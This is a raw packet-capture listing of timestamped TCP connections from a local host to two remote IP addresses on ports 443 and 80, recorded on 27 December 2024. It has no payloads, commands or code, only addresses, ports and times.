Dec 27, 2024 09:07:47.018681049 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:47.018695116 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:48.277410984 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:48.277574062 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.278960943 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.278970957 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:48.279197931 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:48.280687094 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.281559944 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.281590939 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:48.281701088 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.281748056 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:48.281841993 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.281869888 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:48.281996012 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.282011986 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:48.282154083 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.282180071 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:48.282319069 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.282344103 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:48.282352924 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.282500982 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.282524109 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.323334932 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:48.323601961 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.323662996 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.323678970 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.371339083 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:48.371640921 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.371697903 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.371725082 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.415328026 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:48.415433884 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:48.463335037 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:48.644568920 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:51.921169996 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:51.921252966 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:51.924746990 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:51.930144072 CET	49710	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:51.930171967 CET	443	49710	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:51.978899002 CET	49721	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:51.978951931 CET	443	49721	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:51.979053974 CET	49721	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:51.979449034 CET	49721	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:51.979460955 CET	443	49721	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:53.284501076 CET	443	49721	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:53.284771919 CET	49721	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:53.286170006 CET	49721	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:53.286183119 CET	443	49721	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:53.286423922 CET	443	49721	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:53.293773890 CET	49721	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:53.293800116 CET	49721	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:53.293966055 CET	443	49721	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:54.056905031 CET	443	49721	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:54.056984901 CET	443	49721	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:54.057044983 CET	49721	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:54.057401896 CET	49721	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:54.057420015 CET	443	49721	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:54.057440996 CET	49721	443	192.168.2.5	104.21.11.101
Dec 27, 2024 09:07:54.057446003 CET	443	49721	104.21.11.101	192.168.2.5
Dec 27, 2024 09:07:54.060568094 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:54.180684090 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:54.180887938 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:54.181200981 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:54.300721884 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.558518887 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.558537006 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.558552980 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.558598042 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.558599949 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.558609962 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.558623075 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.558636904 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.558650970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.558656931 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.558656931 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.558686018 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.558779955 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.558792114 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.558834076 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.678303957 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.678330898 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.678452969 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.759625912 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.759819031 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.759882927 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.763755083 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.765469074 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.765501976 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.765532970 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.773740053 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.773811102 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.773817062 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.782140970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.782212019 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.782258987 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.790565014 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.790600061 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.790644884 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.798964024 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.798991919 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.799031019 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.807369947 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.807436943 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.807488918 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.815772057 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.815840960 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.815934896 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.824158907 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.824217081 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.824251890 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.832576990 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.832644939 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.832658052 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.840845108 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.840918064 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.879666090 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.930870056 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.960840940 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.960885048 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.961039066 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.963325024 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.963416100 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.963469982 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.968475103 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.970401049 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.970449924 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.970473051 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.975578070 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.975641012 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.975683928 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.980839014 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.980851889 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.980897903 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.985901117 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.985980988 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.985991955 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.991137028 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.991216898 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.991290092 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.996284008 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:55.996350050 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:55.996407986 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.001468897 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.001532078 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.001744032 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.006741047 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.006757021 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.006808043 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.011889935 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.011903048 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.011970043 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.017091036 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.017103910 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.017147064 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.022244930 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.022258997 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.022288084 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.027348995 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.027410030 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.027420044 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.032481909 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.032552958 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.032572031 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.037724972 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.037811041 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.037806988 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.042818069 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.042893887 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.042902946 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.087203026 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.184511900 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.184528112 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.184546947 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.184559107 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.184600115 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.184636116 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.303841114 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.303879023 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.303891897 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.303905010 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.303992033 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.423507929 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423528910 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423541069 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423552990 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423566103 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423578024 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423590899 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423602104 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423614025 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423630953 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423659086 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.423683882 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423696995 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423717976 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.423723936 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423748016 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423759937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423772097 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423772097 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.423785925 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423787117 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.423800945 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423815012 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.423842907 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.423898935 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423921108 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423959017 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.423966885 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423979044 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.423990965 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424004078 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424015045 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424019098 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.424026966 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424040079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424041033 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.424052000 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424062967 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424067020 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.424077988 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424084902 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.424091101 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424122095 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.424640894 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424654961 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424694061 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.424787045 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424801111 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424813032 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424827099 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424827099 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.424840927 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424854040 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424854040 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.424868107 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424880028 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.424880981 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424896955 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424911022 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424913883 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.424923897 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424932957 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.424938917 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424951077 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.424961090 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.424989939 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.425687075 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425704956 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425718069 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425735950 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425746918 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425749063 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.425759077 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425772905 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425770998 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.425784111 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425793886 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.425826073 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425831079 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.425839901 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425852060 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425863981 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425875902 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.425875902 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425889969 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425903082 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.425903082 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.425940990 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.426711082 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.426755905 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.426866055 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.427475929 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.427489042 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.427500963 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.427531958 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.427556038 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.543478012 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.543512106 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.543638945 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.545425892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.545548916 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.545598984 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.549410105 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.549524069 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.549575090 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.553502083 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.553610086 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.553663969 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.557528973 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.557673931 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.557723045 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.560122967 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.560237885 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.560283899 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.562706947 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.562798977 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.562849045 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.565323114 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.565392971 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.565449953 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.567831993 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.567939043 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.567984104 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.570401907 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.570497990 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.570553064 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.572957039 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.573065042 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.573118925 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.575512886 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.575632095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.575700998 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.578110933 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.578135014 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.578277111 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.580661058 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.580765963 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.580807924 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.583230972 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.583323002 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.583368063 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.585793972 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.585896969 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.585946083 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.588352919 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.588462114 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.588504076 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.590929985 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.590970993 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.591013908 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.593570948 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.593657970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.593698978 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.596096039 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.596198082 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.596239090 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:56.598659992 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:56.598748922 CET	80	49728	185.215.113.16	192.168.2.5
